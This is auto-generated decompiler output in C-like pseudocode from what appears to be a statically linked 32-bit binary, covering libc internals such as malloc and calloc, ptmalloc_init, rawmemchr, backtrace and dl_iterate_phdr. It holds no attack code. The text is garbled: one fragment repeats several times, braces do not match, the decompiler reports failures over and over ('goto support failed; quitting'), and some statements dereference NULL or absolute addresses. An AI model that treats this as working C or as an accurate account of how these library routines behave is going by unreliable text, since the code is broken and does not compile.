// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 0x1000 + 110;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 512 + 91;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
v59 = (int32_t)a1;
if (v50 == 0) {
// 0x80b4761
g95 = v59;
malloc_consolidate(v1, v29);
v9 = v59 + 56;
v58 = v59;
v45 = v9;
v60 = (int32_t *)v9;
// branch -> 0x80b4323
} else {
// 0x80b4316
v7 = v59 + 56;
v58 = v59;
v45 = v7;
v60 = (int32_t *)v7;
// branch -> 0x80b4323
}
// 0x80b4323
v57 = (int32_t)v60;
v70 = v57 - 8;
v71 = v58 + 1080;
v20 = (int32_t *)(v58 + 48);
v8 = v65 + 16;
v11 = g2;
v10 = (int32_t)v11;
v19 = (int32_t *)(v57 + 12);
v21 = (int32_t *)(v58 + 52);
v18 = (int32_t *)(v58 + 1100);
v40 = v45;
v30 = v29;
v24 = v3;
v36 = v65 / 64 + 56;
// branch -> 0x80b4323
while (true) {
// 0x80b4323
v56 = *(int32_t *)(v40 + 12);
v17 = (char *)v56;
if (v56 == v40) {
v42 = v40;
v32 = v30;
v23 = v24;
v61 = v17;
goto lab_0x79ffea0;
}
v46 = v56;
v31 = v30;
v22 = v24;
v62 = v17;
goto lab_0x7a00210;
}
} else {
// 0x80b428a
v54 = (int32_t)a1;
v67 = v54 + 48 + 8 * v65 / 8;
v26 = v67;
v55 = *(int32_t *)(v67 + 12);
v27 = v55;
if (v67 == v55) {
// 0x80b47d4
// branch -> 0x80b4323
} else {
// 0x80b42ab
if (v55 == 0) {
// 0x80b4a38
g95 = v54;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b42b3
v25 = *(int32_t *)(v55 + 12);
v15 = (int32_t *)(v65 + 4 + v55);
*v15 = *v15 | 1;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
if (a1 != (char *)0x8139c40) {
// 0x80b42cd
v16 = (int32_t *)(v27 + 4);
*v16 = *v16 | 4;
// branch -> 0x80b42d1
}
// 0x80b42d1
v39 = g69;
g95 = v39;
if (v39 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b4281
v65 = (int32_t)v64;
if (v64 > (int32_t *)511) {
// 0x80b42f8
if (v64 > (int32_t *)2111) {
// 0x80b44a0
if (v64 > (int32_t *)0x29ff) {
// 0x80b477b
if (v64 < (int32_t *)0xb000) {
// 0x80b480a
// branch -> 0x80b430d
} else {
// 0x80b478a
if (v64 > (int32_t *)0x27fff) {
// 0x80b4a4b
if (v64 < (int32_t *)0xc0000) {
// 0x80b4a72
// branch -> 0x80b430d
}
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
if (v50 == 0) {
// 0x80b4761
g95 = (int32_t)a1;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
if (v50 == 0) {
// 0x80b4761
g95 = (int32_t)a1;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
if (v50 == 0) {
// 0x80b4761
g95 = (int32_t)a1;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b430d
v50 = v44 % 2;
g101 = v50;
if (v50 == 0) {
// 0x80b4761
g95 = (int32_t)a1;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
}
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b428a
v54 = (int32_t)a1;
v67 = v54 + 48 + 8 * v65 / 8;
v26 = v67;
v55 = *(int32_t *)(v67 + 12);
if (v67 == v55) {
// 0x80b47d4
// branch -> 0x80b4323
} else {
// 0x80b42ab
if (v55 == 0) {
// 0x80b4a38
g95 = v54;
malloc_consolidate(v1, v29);
// branch -> 0x80b4323
// Detected a possible infinite recursion (goto support failed); quitting...
} else {
// 0x80b42b3
v25 = *(int32_t *)(v55 + 12);
v15 = (int32_t *)(v65 + 4 + v55);
*v15 = *v15 | 1;
*(int32_t *)(v26 + 12) = v25;
*(int32_t *)(v25 + 8) = v26;
if (a1 != (char *)0x8139c40) {
// 0x80b42cd
v16 = (int32_t *)(v55 + 4);
*v16 = *v16 | 4;
// branch -> 0x80b42d1
}
// 0x80b42d1
v39 = g69;
g95 = v39;
if (v39 == 0) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Address range: 0x80b57e0 - 0x80b5869
int32_t __libc_calloc(struct struct_120 * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t v1 = (int32_t)a1; // 0x80b57e9
g98 = v1;
int32_t v2 = v1 * a2; // 0x80b57f7
g102 = v2;
int32_t v3; // 0x80b5851
int32_t v4; // 0x80b5852
if (a1 == NULL) {
// if_80b5834_3_true
a1->e0 = 1;
v3 = g102;
v4 = g98;
// branch -> after_if_80b5834_3
} else {
// if_80b5834_3_false
v3 = v2;
v4 = v1;
// branch -> after_if_80b5834_3
}
int32_t v5 = *(int32_t *)(v4 + 48); // 0x80b5842
g101 = *(int32_t *)(v5 + 4) & -8;
g101 = _int_malloc((char *)v4, (int32_t *)v3, v5);
int32_t * v6 = (int32_t *)g98; // 0x80b5866_0
*v6 = *v6 - 1;
return g95;
}
// Address range: 0x80b5a90 - 0x80b5aab
int32_t __libc_malloc(int32_t * a1, int32_t a2, int32_t a3) {
int32_t v1 = (int32_t)a1; // 0x80b5a95
g101 = v1;
malloc_hook_ini(v1);
g97 = g95;
g98 = v1;
int32_t v2;
g101 = v2;
return g95;
}
// Address range: 0x80b6b94 - 0x80b6c5d
int32_t ptmalloc_init(void) {
int32_t v1 = g102; // 0x80b6b97
g102 = g19;
if (g19 >= 0) {
// 0x80b6ba7
g102 = v1;
return g95;
}
// 0x80b6bb0
g19 = 0;
g71 = 0x20000;
g74 = 0x10000;
g72 = 0x20000;
g70 = 0x20000;
g76 = getpagesize();
g80 = 0;
g83 = 0x8139c40;
g68 = 0;
__register_atfork();
int32_t result = g4 & -0x776f00 | 0x776e00; // 0x80b6c55
g95 = result;
return result;
}
// Address range: 0x80b7200 - 0x80b721b
int32_t malloc_hook_ini(int32_t a1) {
int32_t v1 = g98; // 0x80b7203
g98 = a1;
g20 = 0;
ptmalloc_init();
int32_t v2 = g98; // 0x80b7216
g98 = v1;
__libc_malloc(NULL, v2, 0);
return g97;
}
// Address range: 0x80b81ac - 0x80b88bf
int32_t * __default_morecore(int32_t * increment) {
int32_t * result = sbrk(increment); // 0x80b81b2
g97 = (int32_t)increment;
if (result == (int32_t *)-1) {
// 0x80b81bf
return NULL;
}
// 0x80b81bd
return result;
}
// Address range: 0x80b8bd0 - 0x80b8e0f
int32_t rawmemchr(struct struct_138 * a1, int32_t a2) {
uint32_t v1 = 256 * a2 & 0xff00 | a2 & -0xff01; // 0x80b8bd9
int32_t v2 = v1 % 0x10000 | 0x10000 * v1; // 0x80b8be0
int32_t v3 = (int32_t)a1; // 0x80b8be3
struct struct_138 * v4 = (struct struct_138 *)3;
struct struct_138 * v5; // 0x80b8c95_14
struct struct_138 * v6; // 0x1654
struct struct_138 * v7;
int32_t v8; // 0x80b8c85
int32_t v9; // 0x80b8c1750
int32_t v10; // 0x80b8c1755
int32_t v11; // 0x80b8c62
if (a1 != (struct struct_138 *)3) {
// 0x80b8be7
if ((int32_t)a1->e0 == v2) {
// 0x80b8c94
return (int32_t)a1;
}
int32_t v12 = v3 + 1; // 0x80b8bef
struct struct_138 * v13 = (struct struct_138 *)v12; // 0x80b8bef_2
if (v12 == 3) {
v4 = v13;
// 0x80b8c10
v9 = *(int32_t *)v4 ^ v2;
if (v9 > 0x1010100) {
v10 = v9;
v6 = v4;
while (true) {
// 0x80b8c1d
if ((v9 - 0x1010101 ^ v10 || -0x1010101) == -1) {
goto lab_0x2b4b9760;
}
// 0x80b8c81
v11 = v10;
v7 = v6;
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
}
// 0x80b8c81
v11 = v9;
v7 = v4;
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
// 0x80b8bf4
if ((int32_t)v13->e0 == v2) {
// 0x80b8c94
return (int32_t)v13;
}
int32_t v14 = v3 + 2; // 0x80b8bfc
struct struct_138 * v15 = (struct struct_138 *)v14; // 0x80b8bfc_2
if (v14 != 3) {
// 0x80b8c01
if ((int32_t)v15->e0 == v2) {
// 0x80b8c94
return (int32_t)v15;
}
// 0x80b8c09
v4 = (struct struct_138 *)(v3 + 3);
// branch -> 0x80b8c10
} else {
v4 = v15;
}
// 0x80b8c10
v9 = *(int32_t *)v4 ^ v2;
int32_t v16 = v9;
v7 = v4;
if (v9 > 0x1010100) {
int32_t v17 = v9 - 0x1010101; // 0x80b8c1956
v10 = v9;
v6 = v4;
struct struct_138 * v18; // 0x80b8c73_3
int32_t v19; // 0x80b8c17
while (true) {
// 0x80b8c1d
if ((v17 ^ v10 || -0x1010101) == -1) {
lab_0x2b4b9760:;
int32_t v20 = v6->e1 ^ v2; // 0x80b8c30
if (v20 > 0x1010100) {
// 0x80b8c36
if ((v20 - 0x1010101 ^ v20 || -0x1010101) == -1) {
int32_t v21 = v6->e2 ^ v2; // 0x80b8c49
if (v21 > 0x1010100) {
// 0x80b8c4f
if ((v21 - 0x1010101 ^ v21 || -0x1010101) == -1) {
// 0x80b8c5a
v11 = v6->e3 ^ v2;
if (v11 > 0x1010100) {
// 0x80b8c68
if ((v11 - 0x1010101 ^ v11 || -0x1010101) == -1) {
int32_t v22 = (int32_t)v6 + 16; // 0x80b8c73
v18 = (struct struct_138 *)v22;
v19 = *(int32_t *)v22 ^ v2;
if (v19 <= 0x1010100) {
// break -> 0x80b8c10
break;
}
v17 = v19 - 0x1010101;
v10 = v19;
v6 = v18;
// continue -> 0x80b8c1d
continue;
}
}
struct struct_138 * v23 = (struct struct_138 *)((int32_t)v6 + 4); // 0x80b8c95_18
// branch -> 0x80b8c7b
struct struct_138 * v24 = (struct struct_138 *)((int32_t)v23 + 4); // 0x80b8c95_17
// branch -> 0x80b8c7e
v7 = (struct struct_138 *)((int32_t)v24 + 4);
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
}
// 0x80b8c7b
// branch -> 0x80b8c7b
struct struct_138 * v25 = (struct struct_138 *)((int32_t)v6 + 4); // 0x80b8c7b_3
// branch -> 0x80b8c7e
// 0x80b8c7e
v11 = v21;
v7 = (struct struct_138 *)((int32_t)v25 + 4);
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
}
// 0x80b8c7e
// branch -> 0x80b8c7e
// 0x80b8c7e
v11 = v20;
v7 = (struct struct_138 *)((int32_t)v6 + 4);
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
}
// 0x80b8c10
v16 = v19;
v7 = v18;
// branch -> 0x80b8c81
}
// 0x80b8c81
v11 = v16;
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
// 0x80b8c10
v9 = *(int32_t *)v4 ^ v2;
if (v9 > 0x1010100) {
v10 = v9;
v6 = v4;
while (true) {
// 0x80b8c1d
if ((v9 - 0x1010101 ^ v10 || -0x1010101) == -1) {
goto lab_0x2b4b9760;
}
// 0x80b8c81
v11 = v10;
v7 = v6;
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v7;
}
// 0x80b8c85
v8 = (int32_t)v7;
if (0x10000 * v11 < 0x1000000) {
// 0x80b8c94
return (int32_t)(struct struct_138 *)(v8 + 1);
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
v5 = (struct struct_138 *)(v8 + 3);
// branch -> 0x80b8c94
} else {
v5 = (struct struct_138 *)(v8 + 2);
}
// 0x80b8c94
return (int32_t)v5;
}
}
// 0x80b8c81
v11 = v9;
// branch -> 0x80b8c81
// 0x80b8c81
if (0x1000000 * v11 == 0) {
// 0x80b8c94
return (int32_t)v4;
}
// 0x80b8c85
if (0x10000 * v11 < 0x1000000) {
// Detected a possible infinite recursion (goto support failed); quitting...
}
// 0x80b8c8a
if ((v11 & 0xff0000) != 0) {
// 0x80b8c93
// branch -> 0x80b8c94
}
// Detected a possible infinite recursion (goto support failed); quitting...
}
// Address range: 0x80b913c - 0x80b9206
int32_t __wcsmbs_named_conv(int32_t a1, int32_t a2) {
int32_t v1 = g100; // 0x80b913c
int32_t * v2 = (int32_t *)g102; // 0x80b913f_0
int32_t v3 = g101; // 0x80b9140
int32_t v4 = g98; // 0x80b9141
g95 = 0x810a3b3;
int32_t v5 = (int32_t)g2; // 0x80b9157
int32_t v6;
int32_t v7;
__gconv_find_transform(v6, v5, v7);
g95 = 0;
*(int32_t *)g98 = 0;
int32_t * v8 = v2;
if (g95 != 0) {
// 0x80b9168
g97 = 0x810a3b3;
g95 = g101;
__gconv_find_transform(v6, v5, v6);
g95 = 0;
*(int32_t *)(g98 + 8) = 0;
if (g95 == 0) {
// 0x80b91fc
__gconv_close_transform(v1, 0, a1, a2);
v8 = (int32_t *)0x80b9206;
// branch -> 0x80b9187
} else {
v8 = v2;
}
}
// 0x80b9187
if (*(int32_t *)g98 == 0 || *(int32_t *)(g98 + 8) == 0) {
// 0x80b91d8
g98 = v4;
g101 = v3;
g102 = (int32_t)v8;
g100 = v1;
return 1;
}
// 0x80b9194
g98 = v4;
g101 = v3;
g102 = (int32_t)v8;
g100 = v1;
return 0;
}
// Address range: 0x80bae9c - 0x80baec4
int32_t vsyslog(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x80bae9c
g98 = a1;
g95 = -24;
return -24;
}
// Address range: 0x80bbc2c - 0x80bbc8e
int32_t __libc_enable_asynccancel(int32_t a1, int32_t a2) {
int32_t v1 = g100; // 0x80bbc2c
int32_t result = g96; // 0x80bbc36
if ((result & 8) == 0) {
// 0x80bbc40
g95 = result;
// branch -> 0x80bbc51
} else {
// 0x80bbc59
if ((result & 17) == 0) {
// 0x80bbc5e
__pthread_unwind(v1);
return g95;
}
}
// 0x80bbc51
g100 = v1;
return result;
}
// Address range: 0x80bbc90 - 0x80bbcc3
int32_t __libc_disable_asynccancel(int32_t a1, int32_t a2) {
// 0x80bbc90
if ((g95 & 2) == 0) {
int32_t v1 = g96 & -256 | 1; // 0x80bbcb5
if (g96 != (g96 & -3)) {
while (v1 == 1 && g96 != (g96 & -3)) {
// 0x80bbca8
// continue -> 0x80bbca8
}
// 0x80bbcbf
g97 = v1 != 1 ? 1 : g96;
// branch -> 0x80bbcbf
// 0x80bbcbf
return g96;
}
// 0x80bbcbf
g97 = g96;
// branch -> 0x80bbcbf
}
// 0x80bbcbf
return g96;
}
// Address range: 0x80bbcc4 - 0x80bbce1
int32_t __register_atfork(void) {
// 0x80bbcc4
g95 = 0;
int32_t v1 = g85; // 0x80bbcda
int32_t result; // 0x80bbce1_1
if (v1 == 0) {
// if_80bbcda_2_true
g85 = 1;
result = 0;
// branch -> after_if_80bbcda_2
} else {
// if_80bbcda_2_false
g95 = v1;
result = v1;
// branch -> after_if_80bbcda_2
}
// after_if_80bbcda_2
return result;
}
// Address range: 0x80bc238 - 0x80bc298
void backtrace_helper(void) {
// 0x80bc238
int32_t v1;
int32_t * v2 = (int32_t *)(v1 + 4); // 0x80bc244_0
int32_t v3 = *v2; // 0x80bc244
int32_t v4 = v3 + 1; // 0x80bc247
if (v3 != -1) {
// 0x80bc24c
abort();
// UNREACHABLE
}
// 0x80bc25d
*v2 = v4;
if (v4 == *(int32_t *)(v1 + 8)) {
// 0x80bc28c
return;
}
// 0x80bc268
abort();
// UNREACHABLE
}
// Address range: 0x80bc29c - 0x80bc357
int32_t __backtrace(int32_t * a1, uint32_t a2) {
int32_t v1 = *a1; // 0x80bc2a5
g101 = v1;
g98 = a2;
g95 = 0;
int32_t * v2 = NULL; // bp-20
int32_t * v3 = (int32_t *)v1; // 0x80bc2b8_0
if (a2 >= 1) {
// 0x80bc2c9
_Unwind_Backtrace((int32_t)backtrace_helper, *v3);
// branch -> 0x80bc2d6
}
int32_t v4 = *(int32_t *)-1; // 0x80bc2d6
int32_t v5 = v4;
int32_t result; // 0x80bc2f0
if (v4 >= 2) {
// 0x80bc2e1
if (*(int32_t *)(4 * v4 - 4 + *v3) == 0) {
// 0x80bc34c
result = v4 - 1;
// branch -> 0x80bc2f0
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
}
// 0x80bc2ec
result = v4;
if (g98 <= v4) {
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
uint32_t v6 = *NULL; // 0x80bc300
int32_t v7 = v6;
if (v6 < *v2) {
result = v4;
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
// 0x80bc308
if (v6 <= g3) {
// 0x80bc310
if (v6 == 3) {
int32_t v8 = g101 + 4 * v4;
// branch -> 0x80bc318
int32_t v9; // 0x80bc31d
while (true) {
// 0x80bc318
*a1 = *(int32_t *)7;
v9 = v5 + 1;
v5 = v9;
int32_t * v10 = (int32_t *)v9; // 0x80bc31e_0
uint32_t v11 = *(int32_t *)v7; // 0x80bc321
v7 = v11;
if (v9 == g98) {
// 0x80bc2f0
result = v9;
// branch -> 0x80bc2f0
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
// 0x80bc327
if (*v2 > v11) {
// 0x80bc352
result = *v10;
// branch -> 0x80bc2f0
} else {
// 0x80bc32c
if (g3 >= v11) {
// 0x80bc334
v8 += 4;
if (v11 != 3) {
// break -> 0x80bc2f0
break;
}
// continue -> 0x80bc318
continue;
}
// 0x80bc2f0
result = v9;
// branch -> 0x80bc2f0
}
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
// 0x80bc2f0
result = v9;
// branch -> 0x80bc2f0
} else {
result = v4;
}
} else {
result = v4;
}
// 0x80bc2f0
if (result == -1) {
// 0x80bc340
return 0;
}
// 0x80bc2f7
return result;
}
// Address range: 0x80bc358 - 0x80bc52f
int32_t backtrace_symbols_fd(int32_t ** a1, int32_t result, int32_t a3, int32_t a4) {
int32_t v1 = g100; // 0x80bc358
int32_t v2 = g98; // bp-16
int32_t v3 = g102;
if (result > 0) {
struct struct_18 * v4 = g2; // 0x80bc415_3
int32_t v5 = (int32_t)v4; // 0x80bc3b9
int32_t v6 = 1; // 0x80bc3fa4
int32_t ** v7 = a1; // 0x80bc47f_03
int32_t v8 = (int32_t)a1;
// branch -> 0x80bc40c
while (true) {
// 0x80bc40c
g98 = v8;
g95 = *(int32_t *)v8;
if (_dl_addr((int32_t **)v4, v1) != 0) {
// 0x80bc422
char * str;
if (str != NULL) {
// 0x80bc42d
if (*str != 0) {
// 0x80bc436
g98 = -1;
strlen(str);
int32_t v9;
g101 = v9;
if (v9 == 0) {
// 0x80bc4f0
g98 = 2;
g102 = 3;
g101 = 4;
// branch -> 0x80bc399
} else {
// 0x80bc458
strlen((char *)v9);
uint32_t v10 = *(int32_t *)v7; // 0x80bc485
int32_t v11;
if (v10 < 0x80bc3ed) {
// 0x80bc4e3
v11 = 0x80bc3ed - v10;
// branch -> 0x80bc494
} else {
// 0x80bc48b
v11 = v10 - 0x80bc3ed;
// branch -> 0x80bc494
}
// 0x80bc494
g95 = v11;
v2 = 16;
_itoa_word(v11, v11, 16, v5, v5);
g98 = 7;
g102 = 8;
g101 = 9;
// branch -> 0x80bc399
}
lab_0xa56d7a0:;
int32_t v12 = (int32_t)v7; // 0x80bc3b1
g95 = v12;
int32_t v13 = *(int32_t *)v7; // 0x80bc3b7
_itoa_word(v13, v2, 16, v5, v1);
__writev(a3, (int32_t)"]\n", g101, v13, &v2, 16);
int32_t v14 = v12 + 4; // 0x80bc3f0
if (v6 == result) {
// 0x80bc368
// branch -> 0x80bc368
// 0x80bc368
g102 = 0;
g100 = v1;
return 146;
}
// 0x80bc406
v6++;
v7 = (int32_t **)v14;
v8 = v14;
// branch -> 0x80bc40c
continue;
}
}
}
// 0x80bc388
g98 = 1;
g102 = 2;
g101 = 3;
// branch -> 0x80bc399
goto lab_0xa56d7a0;
}
}
// 0x80bc368
g102 = v3;
g100 = v1;
return result;
}
// Address range: 0x80bf380 - 0x80bf430
int32_t __dl_iterate_phdr(int32_t a1, struct struct_3 * a2) {
// 0x80bf380
__pthread_mutex_lock_internal((struct struct_3 *)&g23, (int32_t *)NULL, &NULL->e0, &NULL->e0);
int32_t v1 = g91; // 0x80bf3a2
g98 = v1;
if (v1 == 0) {
// 0x80bf411
g101 = 0;
// branch -> 0x80bf413
} else {
struct struct_88 * v2 = NULL; // 0x80bf3ef_0
// branch -> 0x80bf3bc
while (true) {
int32_t v3 = *(int32_t *)v1; // 0x80bf3bc
int32_t v4 = *(int32_t *)(v1 + 4); // 0x80bf3c1
int32_t v5 = *(int32_t *)(v1 + 332); // 0x80bf3c7
uint32_t v6 = g87; // 0x80bf3db
uint32_t v7 = g88; // 0x80bf3e0
uint32_t v8 = (int32_t)(struct struct_10 *)g92; // 0x80bf3ec
g95 = v6 - v8;
uint32_t v9 = (int32_t)v2; // 0x80bf3ef
int32_t v10 = v6 < v8; // 0x80bf3ef
int32_t v11 = v7 - v9; // 0x80bf3ef
bool v12 = v6 < v8 ? v7 < v11 - v10 | v2 == (struct struct_88 *)-1 : v7 < v9; // 0x80bf3ef
g1 = v12;
int32_t v13 = v10 + v11; // 0x80bf3ef
g103 = v13 == 0;
g97 = v13;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))a1)(v3, 32, (int32_t)a2, v8, (int32_t)g2, v3, v4, v5);
int32_t v14 = g95; // 0x80bf401
g101 = v14;
if (v14 == 0) {
int32_t v15 = *(int32_t *)(g98 + 12); // 0x80bf40a
g98 = v15;
if (v15 == 0) {
// 0x80bf411
g101 = 0;
// branch -> 0x80bf413
// 0x80bf413
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
g95 = (int32_t)(struct struct_3 *)0x8132558;
return g101;
}
// 0x80bf40a
v2 = NULL;
v1 = v15;
// branch -> 0x80bf3bc
continue;
}
}
}
// 0x80bf413
__pthread_mutex_unlock_internal((struct struct_45 *)&g23);
g95 = (int32_t)(struct struct_3 *)0x8132558;
return g101;
}
// Address range: 0x80bf434 - 0x80bf4ab
int32_t dl_iterate_phdr(int32_t a1, struct struct_3 * a2) {
// 0x80bf434
g102 = a1;
int32_t v1 = (int32_t)a2; // 0x80bf440
g101 = v1;
int32_t v2 = g90; // 0x80bf443
int32_t v3; // 0x80bf49c
int32_t result; // 0x80bf4aa_11
int32_t v4; // 0x80bf49b
if (v2 == 0) {
v4 = a1;
// 0x80bf49a
v3 = __dl_iterate_phdr(v4, (struct struct_3 *)v1);
g96 = v4;
result = v3;
// branch -> 0x80bf4a3
} else {
uint32_t v5 = g87; // 0x80bf467
uint32_t v6 = g88; // 0x80bf46c
uint32_t v7 = g92; // 0x80bf478
g96 = v7;
g98 = 0;
g95 = v5 - v7;
int32_t v8 = v5 < v7; // 0x80bf482
g1 = v5 < v7 & v6 < v6 - v8;
int32_t v9 = v8 + v6; // 0x80bf482
g103 = v9 == 0;
g97 = v9;
int32_t v10 = (int32_t)g2; // 0x80bf491
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))a1)(v10, 32, v1, v10, 0x8119573, g89, 0x10000 * v2 / 0x10000, v5);
if (g95 == 0) {
// 0x80bf44d
v4 = g102;
// branch -> 0x80bf49a
// 0x80bf49a
v3 = __dl_iterate_phdr(v4, (struct struct_3 *)g101);
g96 = v4;
result = v3;
// branch -> 0x80bf4a3
}
}
// 0x80bf4a3
return result;
